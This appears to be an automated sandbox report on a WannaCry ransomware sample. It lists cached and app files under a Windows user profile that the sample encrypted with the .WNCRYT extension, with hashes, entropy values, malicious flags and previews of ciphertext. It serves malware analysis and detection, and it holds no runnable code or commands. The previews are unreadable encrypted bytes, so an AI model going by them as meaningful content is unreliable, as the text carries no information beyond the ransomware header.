                                                                                                      Preview:WANACRY!.....p].6.@b.......a....W.....Y.q....W.mn.;..(q...&.mW......M..}u........c.bR$d.....IK.ib..&....^s...Z..i...h...w....3..{..>....1aE.....-.6..JE.>.s...OT.a .o...v..T4.....r.X.zV.*Y.......vU.s@4..w...F.Au...s.....hA.......`..~.1...z.v.\.S;.....f[..............5.opm ...L.Wj..m.{.d. ....l....d.B.....%.....y""L.=....z.._......a..k..."S;.S\9......&i.d%.f...0U.=.#e.... ..e...e...#..L6.j......(^.....W0n..q..xt..{.*..).*..9..2...\a@.tQ....Q.%..6..O"...,x.[.....K...]l......E...;.l...#f....%.a.P.........*....9K1).|:...8..yXfW!..gPz.[...>. 2.........{.lY...C.){S...7tG2hGi....Ibn1 .RU.,....H..>....Ye...%\..r..V<gW........N.T1,..,.b6......k.H.(".;...HVF.A........FT.}...`.....g..>~..Ag.de.......m.*5...9p.eU...F?S.....".O..zW.1.`...c8.z.....Bp..<.}..y....-.$.<..S{......9.zf'$.....H.!.1i.5c..6\...9...>.&.h..."..?........@..t.`....:....>..1..h..8+...[)lyx...)........\....l+.S.pH<7A...;nk%..._{.c......^....:T.........W.o..1.....lP._..I..!R`_..t

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.832379313547018
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYTtFRzYLHW//o06rd55NZQoOLcFunx+TYz5pmn9LUoJYEkPhYCBJ:bkGtrYDgAdnColY/GUhPz
                                                                                                      MD5:7DC370B02D051153BA300E2DE5E351A6
                                                                                                      SHA1:2E92C192F0BA3348C3B2E3D4FDC909F859892CC2
                                                                                                      SHA-256:8C19D65245E962CFBC0A80223743F46D59DA7BA9DF25993EFA9DC7AAF99ADA6A
                                                                                                      SHA-512:440BB6116D8CBDC7E9E223D0855FD6D61884A74768D8B56A52155AE8D02762D08F230567EEF61069BDAC51CE78EE831630FA3274A741A624B5DFD3ECBC7FEEAE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......{.N.%.G.p.+..m.g.;]K.}0.......b...S~.,.*.W.._.M....qw.C.fD..o...4s.G.1...8*&h!.....@..M...@......v...{*..3mT.9]W.%4C...8p..B8....PmK6......,..G.n................K-]....^Z>'.4y.Z...E#......A2..g2p}*s.ZQ..D..e.l..pm.! <..b..F._...a................$.......f.(....q...........e.....K...(..L..ic.1-0......9\.....M...r.D.D..._.'.>.9.*..W..V..'.....5..!.6.T..........wrZ.X....h4....q.....h..5Gc...Ccf.b,.O_.t:!.....b...=\....y_..uQ,..&I.P..v....]......Iw&.p~.....&8;8..1r..tKnvo..[.T.ia.s.Y%.?k}.U..'..m...b].y.z"...b*.a.O..t.b.U..O._G..I*.f......I(.w.J...h.......Rfv.&~......s.../umg....Q.....@..`$..5.8..hs..Y...m...Q..`.TOj...'jv.lIe.k.m..Md.a2l.....p........y...X.TY.1.?..4.;G13...=".%haY.PA8ij..i....rcd..".J/....L..L b.[.....`l.<..1..fL.{e._ ....m*.2...\.uN..n/R..,.DP..|O{.L....Y........]C..m....:\^^...s.....m...6}.aB_......h...o"...&w{fNh\g.+..y.?{.......ML..s..T/iE#.^Y......".04...k5.p...=&..."s....s..bJ..P.w....&.q.Yz...$...4....,..{g....<.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):138488
                                                                                                      Entropy (8bit):7.998808460704066
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:v3PdXhcbi0UBf+/TI9eq8Xr5XoeNxfAIfWLqFcDmVeSzp8U5YjZo:vtaUBuTGEdXoeLfAIf6MXzpnYjZo
                                                                                                      MD5:F378B68B105A2C88E071623C5FF9FD74
                                                                                                      SHA1:947D07A70F9552DA58CA7D67F76920A016AEDD38
                                                                                                      SHA-256:AC1F1761BF600A418E485828E9C3E92FC7B90C7F74F340C9B3484BEA127696BF
                                                                                                      SHA-512:9A1D166867FEF670155EA6CADB4ECB14A57F4138F743628C3B67CF593AC90D02C87558A824ABB79E69924D81AF7A3930E7172AA01EB52BAB687C6B3A9524534A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......f......F"..]1.&...}..e* ..rP....]......&.w.@m.6..c.._ZW.]z...<....m.#.g..R...m.?.....e..|.y.P... &t.Qkb..).O...n....p....*...[...^.e...."...&.?.?...k.#D..,.S..D.."Nn..8M...R...+..@1S.. .a..*....`.yJdt.....9...[z.3I.j.jbX.0..T..\."=3i...\..j............/~.......#.`...p.n.....:............?.b..qf.B..f.......;9."v[.Tv..........j..:...(....w~..=.n....NY.&.....(X3..H.......M...).Yo....r...).j.w..b..dU.)Ft.C.=....j2^.k.fWu..Z'L..q[-N.*e.(.....Lz.p......{A&.4t@.xJ...77k...(.#r.<.......@.\.t.V.s.C.R..t.M.....\.SOe.n......J.H5..rs...c...`.@...W.K..DXl..b.C..M..>+R...}..Z..i8..*.....Q..@.N..:X.t.]....[.o.4.X[...yct..S..fT.Ah....8t~.{.r....W8.....e..L-..<)....NiX.f..*..~DvbI....N/e.......3.G_....^..G$..R.......b.p.t.....u5.r-....@y.......L...V.bX7...@&.:.c..D.r...]u3...&6.W....}..k?..`...Wh4.y.q&...U.Z.Y....L7.I.xa.......sa.....-..>...c....I.f.Sq.......pw....Tir.........-(.......n..Qm.gy...e.D.ii.g.}...+..._...2.1..'.gWf.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):53480
                                                                                                      Entropy (8bit):7.996598408453165
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:VYlbfb4X6GR9SI2SGl/Z/F4FKYTusislTE/fYWsIA4fSO2QLIBL4FuBJDQeFVniv:ap9GLvGD9YLislwH1A5L+u3LDzgmA
                                                                                                      MD5:FC430C1E0700C221D1A17FC0CE98429F
                                                                                                      SHA1:AD72F1B4DD0D95DAA671244CED166751CDEA0322
                                                                                                      SHA-256:847DCB531D60E532D8F8815EF94363F76EA5B67C5C642C37397533212F25F8DF
                                                                                                      SHA-512:75EAF90AEA36005BC5B3A2EA835E0F2581FEBB23EA9691AB2403BBEB999BCF385C3A938A225D22369E0DFA0D8DD5656BD3F5E34EE929F4E4CE9303C24E19B9A2
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......?.}y.6?..N..K.A ?e....1$........."2.>.9&..B....[f....@`.....P.(.^V...Y.R.q.?..-~.|.....c....X.lRSL/..x...o...q.....A.pp.{.D..g..1..../K.JKMX... |..l.a.f..Q.....|..-T...*a _.t..E.h......X....x.....no9z;....L.m. d....).ds..L.92.U..C.QF....97[../...=.............b.....h..ejzt....#.....8E.z4.m..a14.a......0.......h.;...*...P..Z;;...g.[....V.=...!....W....G...`._.5D>.n.........F.."......=..7F..QnASf..n=..O/-:..._%.iB...x.....~....6...M..W.\.%JI(.V..Y.@X.*....&...pM.(OF.&OWe{....A6...AS.>P...!.\.S....a$....>..H...<e......a.............0tq.i?.mRN*.VW..~!V..1*+..aVe.2.....vR.../..sx...#G..s..A;...:.z.{R..1#.=.4.D....}\..K.k..Q`.YY..D..-..1}.a..:.am..(W...).&.%i....B/...G$.+B...0.....&D.....|<..L.,..0...5....Nl..7~..I.@...wFy..(....w.=.;G.,&..b.....x..UJc..I...! .....,..@..L;^8...w..#.v"~z.......|..@....c>..#.b.B,JW.h...]...S..v!..R.).....#.]........B..........r..{.....&.b......L...jv}.`..x..@.75.....-.d.-1..)../.n....Yc.........

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1573144
                                                                                                      Entropy (8bit):7.999886226247871
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:Ou7f5I+5OxBk+mpdomH+FgBm/ZQO2RwySTeCi6/Q7/IaXdB360ir2/q/v7O5WGbi:37f5koksGgBMOzSlip7/IaXdTtC/v6UZ
                                                                                                      MD5:4F94D67AE6F625659B3222C22863AA9B
                                                                                                      SHA1:0E7081214677025B9B21E24C289B992ED808227E
                                                                                                      SHA-256:93B6EC818464809B2382CAF3821B3524B9AB12C3597F36A06C188297DD1740DB
                                                                                                      SHA-512:3043AA83AD56FAEE2471324FFDB19F09F20EEF051ED4123B694E59C64A266C5889FF8685EED414CC9BB086A0900B0F65EA931ACDF33F3C68C26B9937B47FE5B3
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......y.......zM..=.AS.T.......5.A;.Ty.e....!\`f....p...~l.............h..?..{.....Kb.T.K..m.{...+...2x...9W.Y_...U..t....k..M...u.q..HS.(......X....5./..,\V..S.`.5N....8[.j0...%n......57...u.;..9o..;EY.\c.b..]F.r>.|../..0..S..!Z....._0..J$.L...............WU._~=^.2P...kY...D.S......c...$.)4' ].e....V...J.Q..<...H.a..+1....V..jg+\.2..";.y...J...^.. .1......W....d.us%`7.K.......5..IC^Z..1...S..#.6.......*..Z28"Vv/..w.L...?dR$$..O..{C.._.[<.H.T.3....Q.0.UP.p|\1..C..2......a...;..u...$9..U.c.`.d..v.|nZ6..@q....6..'`b*..F6Y..tGe|.F9.)..0,..J9...vtM.8..J....%....9}..p.......:.?...Ge.`...i.Jt.Cs/......1.....,g......v+....h&.. .s.,.;.^a.*3.U...'^Y..P.....5\x83.z.......... ..J..?.. ..6..S*W.}9...Z...m6.1.".$.d.....t...]"...zfj...j,E=.>.x}....k...1&..].}!.N.....$.9........w.b.;.....I.@^e.,..6/.#bWEoRSLX...7^..}....P..Sa.....d..t..mk"./..o.q\q'...a.H..s.L.w7..m.}.<.}.z._[.+....Ktan.';.v.R...n......"..7.../.O..1.5I.wg.&I...=L.v.Y9..S.n.T

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1573144
                                                                                                      Entropy (8bit):7.999872915475464
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:o3GbYOH9FYEiwsQUpFC2kwsq2dqH+Is0QAv9ZFonHyDJpp0pnFujiXBxnGxVxBl:o3GbJMlySFtvIRWQsZCHYtkLg5
                                                                                                      MD5:65A120AABCFD540D559BC6E5F339A8B1
                                                                                                      SHA1:A713F9A10DA2656E591E76178CDC7F9BD6DB4AAD
                                                                                                      SHA-256:76B478D54B9D5EADD50404AC094DCF25E49C3A4D463E0E3A471AFD29785906E7
                                                                                                      SHA-512:06C4E1D899A0952ED98125D41065FD802F222DC698AFB94E102CC3CC83A63F2905909FC87164CA314AEFDD1BAE3E2E6AABE0994F935862A87E19502CBDAB6DEA
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....T.f.2.H..o.u@..#....6.....m<...UA..8..x...o.^-x..k...#Ib....~;...2d...B.:./...Y.Fy...G.....Mz....$.|uz..-..`.l.)$.M.../.k..Git.A|.....o..m..........&P.0....2...~.q.a$.w........J.t....#.gYK..+.7...E.....a.......7....."K|q...I...Z:d.GVbQ>^...............F;....k.@eG......y...,.].}...F.............{%z>....]...o@..!..N=. .N`.Hy<......g.$D..!..,#[..f./....(9L.K.R..+......;.C.(....Ct.7.....i3...qq...$y....9H.........(..'...8.&*..`..<K.3b..z......H...Q^w..w.>.T..h........N..J.)...f..1#..p....x...T..w...E=.....d..N4..............q.<.Xr....rR.!.K......D.....\..S..|......h*.. .....`.$JI.N..8.3....`...>"g.X.vE...xP..|.id.:.1F.N.S./Mh.f.rz.x..&..b.b.O..x..LcDg8.......u...!..R_H'...D..u-.h...6....BtKW..gl.....a&...h.AE[.......,.KK.m.+M...E.]...,.0.#d.~.ElC.6.h.....M.......D..F(..l..!./A.%.B.H....hgMS...O.2.X.Xu.!..Ib..O.0..f.YSAj'.{B.MA.[.>..@o.1jU=s...}..r.PO......"J:pFu....M.,i.......,.e.'..s...j.%~q..ARzu....h.../.g..$v.v..~7.L..5..Z.R.W;U1!

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):22136
                                                                                                      Entropy (8bit):7.990370093318815
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:o9hzS1F2rhGqMu494O6Jj/9BFgpUBtwRkJ1rgNlO+L2Dus7kx0CsufbsE5eGIcP:Ehzq2rh86VBGUBBJ1Ue+ipkxEebsEYGR
                                                                                                      MD5:AFB319C25236859F4AC2F70239C24033
                                                                                                      SHA1:6569ED4EEF0918CE8784D7E4983144E76CAC6AE6
                                                                                                      SHA-256:09EC51E87BF5EE45F8C5ADAF19B307731CF8390B027AC9EC92A23FCE4A17DD69
                                                                                                      SHA-512:6D3CA76CAA7995B3DB50A2C9CE9199BC15343FE2400A70A95ED3A3D3AD4DD7252CE0BBE8E85B8B9A74695A04545C7AC0AEB18062F2C7CBF3D42B877BA0610A9D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....H.^>\.#.b'.o..#..S.O!...l.Y:.Q....#.7....%.iH....C/...eq...M?s+..X0?..w.Fd....d..3....G.D.M....z0z....B..L..4.Z..8.9}..F..a[=.../..`..3..7...D.>.XG..."..4j...."...I....,.H.M~."..........g.q.... 9....W./....|.NG....j#e.......k^.m....<.s..W....YU.......( ...+....3/..h-+....y.i"....)..`CUgf,.QT..|LIw.M...|..h.#..M.\.~....0..k.....M....".@..!z.9O.u3y...G....x..>i.;;.Zs....:....R....T...J:$......J.@u.(....&F.....C.G.EUXK.ss......S...+..<.;....K.hP.<,ZTl."G?!D.+.Xq....p..a..`..M2.^@w.\%.^.JzX.h.t.........+3`*B^.....Ac.l.<.K,.T.....(.W=QAmS..T...Z[3g..5.....z...G..J.g6.R....y.%......0.n/.g..e.<<...*e#..*e..ap.N,X.s..W...8.,4........$.Q.R.G..R..5d.?a'K[.j.3`.j...E....Q@f..%V..M7C.v.vUiN9.6/.........xs..b/....TMX.OT...=>&Nb9~.....1..`.$"..P............}.....r...[%..l>NO..a.'U....N....... 2.g.R=..t.9m..&Ef..S.qj*>.x.e..i...'...y.^....r.Go(......D._y...;Ga.$.Sbg..A...As.sb#P.1w.a....I......'KV{.s.c.O@.a......}..h...9D.ObI....cZ.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):121496
                                                                                                      Entropy (8bit):7.9987232519317155
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:i7uhpjt+Oi47JNa6nhB1nGd+ob+mxD6OTBG2:Lpjt+O/DBkd9hxD6OTB9
                                                                                                      MD5:07B99B3132BBC13A380C70CEB3693C9C
                                                                                                      SHA1:5A046B145ADC3696A5B3F90E4A6E2471A1D1B369
                                                                                                      SHA-256:C960C9361B6FE4C2762979085B2DA625BEDA94D116A4F0B7221C455CA9E0F6A3
                                                                                                      SHA-512:541402B7D9CEA002BC7DD2A0F16ACB85B6DC98201989DA92D69D06FB9F5FB5562218C2F29A6E5CB57E82C5CFC0E9CFC860B346923A08B5B37EEBA4B82CCE227D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....[...'...B......9...?..qw.vi.... d.9....!^Gj.cD...w.G.>......d.H....;|...W..~.vm=.6<.....:..9.*4....mj.|...a....D..d......K.kWSG.bVo...5.........d.y.y.K...#....'...,I?..8....g.@....w........?...|D.e.....Q.x...E..qS1=..V.1i....1......,....=.R....~.......%..@C/....$.~I.....{gn.C...b....2.*....H!..8.g...7b...\../..=.}C.,L...Bg8....-i.F...,@..6..9.Q/.9%.l...R..5\=Af<|.....K.f.....a....lA..'.....<..B6.W.(.:...!TT.L.....Q..o.....u3v.bf.#..v..(X.*/.9......E.f...7..i.8.ki.....X.uI1_.B......Q...h..yX...k..y{]...$..#..|.;....#..6...0....+..! Aw H<....%.#....J[|..;q>..3....e&..r#;..\...Q..j.e.E..S........4.g..H$H.J..$.U.G&#.JY../..+..j.%.I..n?e.cE.. !1.W..{....i...t.j.'?.i.8i.L..'........^O.t<.^L.+.<.~...q./.....[.....e...rPuf..d.G....E....2.....v.....>5...+...]?.7b+m5g.T.p.w.@....3.<.iI...C.....Q>..(.k&._..T..#...W..u.Zuhs.k...V.e.4..?(..a....s....q.`.y..)......A.0.>.K.._....I3Cz.c:.;B.kD.;.q..{.$......j %L.K.K...Q.FAw...i.L

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):59016
                                                                                                      Entropy (8bit):7.996869479821251
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:9R4y3B5dUkXoiKEqFfOXYGeNRF2L0O972e71x4XWgZN:9RjHkU36jyF72ehoWG
                                                                                                      MD5:4F35EB689F04BF5383BD5EC7BBCB0EA0
                                                                                                      SHA1:0D1938FA7486A97EE2593E7C0944C21922373470
                                                                                                      SHA-256:937E4891E40C9586301E7843AD66E19565C3B3011BE6D6CABEB028E5033C7886
                                                                                                      SHA-512:C88E51F64823916DCBA19273EDF118E35F12E0BF96871E948B135C63C347493D7A8A37A44085034C8279443895E2D361A29F20F986584934182107787A3FFE64
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....\O.(PL.D..$O.#...gW4.!.gr<.....!.r.W..Ni....7..2"..v._.._..Y.......IE.#..|/..K....}......J.,..f...36..`.=|.M]....Fc.E.....V...CK!..L..,..u4p..W!..bw...!@...&...'$..3.4.yd.W.K=..~.|.%.p.....\......'C.I*...^No....I...!.D..7..'.6'.pH....D..{.4|..#....g........v.O....0.V.^*.v.o...y.....Oo.n."...b.."..#...8.1WM........ ...:.{..........ov...V.R...z~.=..d.pre..[m........M..........UX.I >C........'...w|.......fk...9....C..df......4?..........v...]...d..d.)9. k/%.o.(^.pH...FJ......[X...0.j..qr...\^.L..X...1.Z..?..s..s...rCk.7i|..6.(6.8.....b8A;.........$.@.k....,.Y....H. .V.Qx....\.....1x.A.....nZ......M...}...`:.#.L.k*N.[.y.$,)..)Y.O........u..@...}.E...7'|=U....g.x.=:..t..n.s.W.6.....S....;qa.,..L...+........5..#-1.=...;..D.....~j.....I.......1(...;.qc._....0r..u..7]L.w......p.C...).USG......Z.}.__.-aD...%$......9..a.....*..O.u.XR.?'...L....2.+.N...8....h..__]..''o4.W..9..v.Bi..@L.....;..p.....&......UU..`D...zlO.@.&].q..2..C..~..

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):20552
                                                                                                      Entropy (8bit):7.990827710660221
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:orKp15Vbvp/MtDW3YXVQjgvJdPwL0h/6CUy9je59m8UVTaS:BvvVSaqV8SEkCt5ozsS
                                                                                                      MD5:BF06F9258E64C1FACB661E416F7C882B
                                                                                                      SHA1:0B345F925F7E7A0E81EB163E27F7BB58B5F37EFD
                                                                                                      SHA-256:3E7E95821BA32464D477A2B534E1BCF39BC3652CE749D3BA0FFAFFDB39166BD0
                                                                                                      SHA-512:ADB53A59BEBC5E345F22ABE5A37BA482B8EE87979F3C0D653E5A8B29CA8E507767065C75226A9D087C698177EBA94953DFE0C5E560DB357382A0EA2FF5F465C5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......F..f.Ch.l.A...9..M.}.....1..rJ...Ca....0....k..l.....v.,...=.......J:...xD...6.$..w`....A....xZP.!....t.T@....r+..){Vq.BK...$xs.>g:..U.....?.8B.......5...H.0....]&-....R4D{0-.._.."a......#.v.;...<...'_~.I.@E?).B/...?&.d..._.1Z..s=...A.T.g.x.....$O.......A.........ln.8....t.*o$<.Ha.........n..i.m...F..b_Z.>&..7.?.......y5.....+.j.*e~..:.....q.l.83@m7...^....g,.x.._O1T..j....H(....)<.p..X.l..WF.F.].45.9.....u...&f....t.L=.!......`z...9N$.f....lO.4.....4.p.;..9e.H...l...x..K.V3D];.d...x8.d*..i?{..C.w+....>&.0...dD1H.z.,=.V...#..l|....2...=.M...O......:....;.. ......7L.E.q?.a.h._.f...3.4...9.X..8../.....=m*...[.cn..I..U@.b.o..U.ZI__...m...A.t.".......6....._...!..9a\.._t.....d.2...0z5%f&T4N.t...m.v..#..(wG$E.</.^.....&w..z.g.d.2!..x(....J`..=.....t,f...._.W+..d../.h...O..e...:..4..h'U.qR..Oq...6..y3..:....I7..\..BF.._...,,.-...9.{.wX...5.JN..I&...AA...|...=b.L#..=V.._-.L.R....8..\U..(.m..3...L*Q.JZ..c.B....w......;0N..?N+.1.

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2097432
                                                                                                      Entropy (8bit):7.99991754673521
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:kHrPyAXQBk4mvn/yzNLKdNBLmsR4/11q2VqeTw7mOogWSvXDuzFx:AWAwoBLh8ZVqeTi3oraT8x
                                                                                                      MD5:2A64BF8732D30E420837BBB545C918D9
                                                                                                      SHA1:AAB738F58FFB565FFCBD6CC016E615328B81CAC6
                                                                                                      SHA-256:34477511080BF670ED3DF4B15B94F00819EB182C7DB0A0B49291684773E8A04B
                                                                                                      SHA-512:13B2253D4AF3D8059D3564C0AE10779B5F034C6A43B5CAA85887EF4C92D6E60C3E850311F87EA0B54E90E332B122033C87AC4F78F2E11A2F9EBED25315B4321C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....t..9Zr..=.r..R$Y..P..u&....R...I.D...=.~.......>%h.d...Ns..~p.R......tLSj.D0<t.K....F..\......~....CV.|.....:.8[..2.n5.(@.e.F2... .......[J.....d..R..{<........o.....('..Il...[F.............T.3.2*M+.Z....h(.S...O[.RXW<Q........$.......`..0u...... .....oo>.Z(Efu.RC..a.A.v......:.ARv..BZ.`.....fN.=..0d.i.4..t.....Y...q.;...tFj.O./..........3..1........W.L.M..xQ..9..-c...r... .k....VMN...o.d.(.y}wy2..\i.p..BB..*.x..:.4...3.^.u.z...).-.AL.Z..BZ..h.r.Z..@+..S.d_...5.....*..4..'..1.n.I...phscz.dfsYd...)...I.66f...A.....LC...G..;O......;,Q,..../`......C...jEF..G2<..Nk5.c,.:n....J..... ..|..jlz'..gTs.`h......*.......P......].....q..). |.G..t.h..0....h....../5.%#.:2..C$.@.7o ...0.%.."...8/...]vJg?.W6...[....j.*..8..f_Wv/......SqO.Qf..u....j...x.$..De...C......1........L...[.C..A.W...........+...X..b..../..|^..r...8....y'w....eo....8CU...u..A...G.....`M.Ga.d.:.I..h5R..!..(...|.......8..[M..!>..._.k.. .U..@ui.]...14I.7V..^.I{

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2ba3710e-bf6a-46ef-97ed-2efbb606e519}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.995245747223193
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:0pAnYHIT3qPUiVxoRcm3fHpyaZ8PvqKrhv7acpq12p9wkTdMTn0:/YoLqPUiEcmRyajKrt7acpqdk6n0
                                                                                                      MD5:486EE13EFCE9EB295BDCFF02A08F7551
                                                                                                      SHA1:BAF4923CF81728BBF1657FC66B8826FA944F0910
                                                                                                      SHA-256:5C11628140A135D270886B1A7A8E46D3A7C4BA9E6B816F0294B96AF76E7767EA
                                                                                                      SHA-512:E9CDD1BC630CDCCF8842613FC87AE5DFA83271A9C70ADCBD3460F2E5A874FA70FFE542B02838AAB13C85AF5AF09E400241ABD1AED913DB788475EB3D83211624
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....3....7.,..d.>..6w..KL.>.<...:._Q...m1..XP].Y.p..........1.\.6.73.y.S.NM.....:..N./Yh4....@._B.~.hjw"..0^...$/..;.`.lL...b....F_..m..T.(4<......k.......<...........kaA.ts...>[..D.......?l-...^....!K.I>1h.../..H..Zn..T..X.).U.+39..3.B/..oV.d....4........[d...Q.I.b-.d.s..@].F.enS--1..R.r##.W.v..l.A.U.....2.i..4.s.H..p.....y..<.a|.1!9H.....",...lo..V)/...#..-a.T..U...G....V_.LZizVz.;.0.p..1a..i......U.....Zz.....l.ij.(..:D..l]......{..9.u!.v..2......S.}gl.KQ.(&.^. .....%.f.s....N....4oa..I;LJ...p.o...[cd..*Z..KE.v.n.!.R9^....un...H..S..&...V.;....3....B....9.p.k.2.*.R.....%.a!O.H...6.*,.[?V.....3...(<O...nA.?..h..i.R............G-K`N......Y..N..d.~W...c.q..599!.i.|.9..:.G}6...3Q...?...A..mn......N&.9.......r.;E.......6.3:.%Y.LB.k4^.P..Rr.hP#.....R.k..5.D..6j.x$h....4..F.Bjy..R.W..e4G).4..J<.S...")~U:...|Y$...&Z......r..j.?..J..7.._..\.r.P.\....n.;."R.}.3...F{Of~..j....{.`.u.?.g.R.*...QNm..)7..7..........R.m+.s.u.n.jV'V

                                                                                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.995334454358596
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:ifwqQPPXq8mgCguY0JXce4Gl7izTqj4ePnSgeaorz4s0sKVj:UwtPyPQkXce/l7iKjPSg4z4L/Vj
                                                                                                      MD5:A7B9D83EFA70C532BD2118FB0E412412
                                                                                                      SHA1:1E3A531218665F30E4B3B267F37A500970533A20
                                                                                                      SHA-256:C68A1B8305874E5A936938BEB5678E444DD331CAA1D63BCF7B2047C1B2B7F3B6
                                                                                                      SHA-512:B33265FFC3232AD7CE11800C0F23CD9BEC1F28B85F885894FD7D72E3430C695E27CF96C424CCDD3C8FC9BB0CE585C60A2EF9523833EF2F0820BA418D090F02C7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
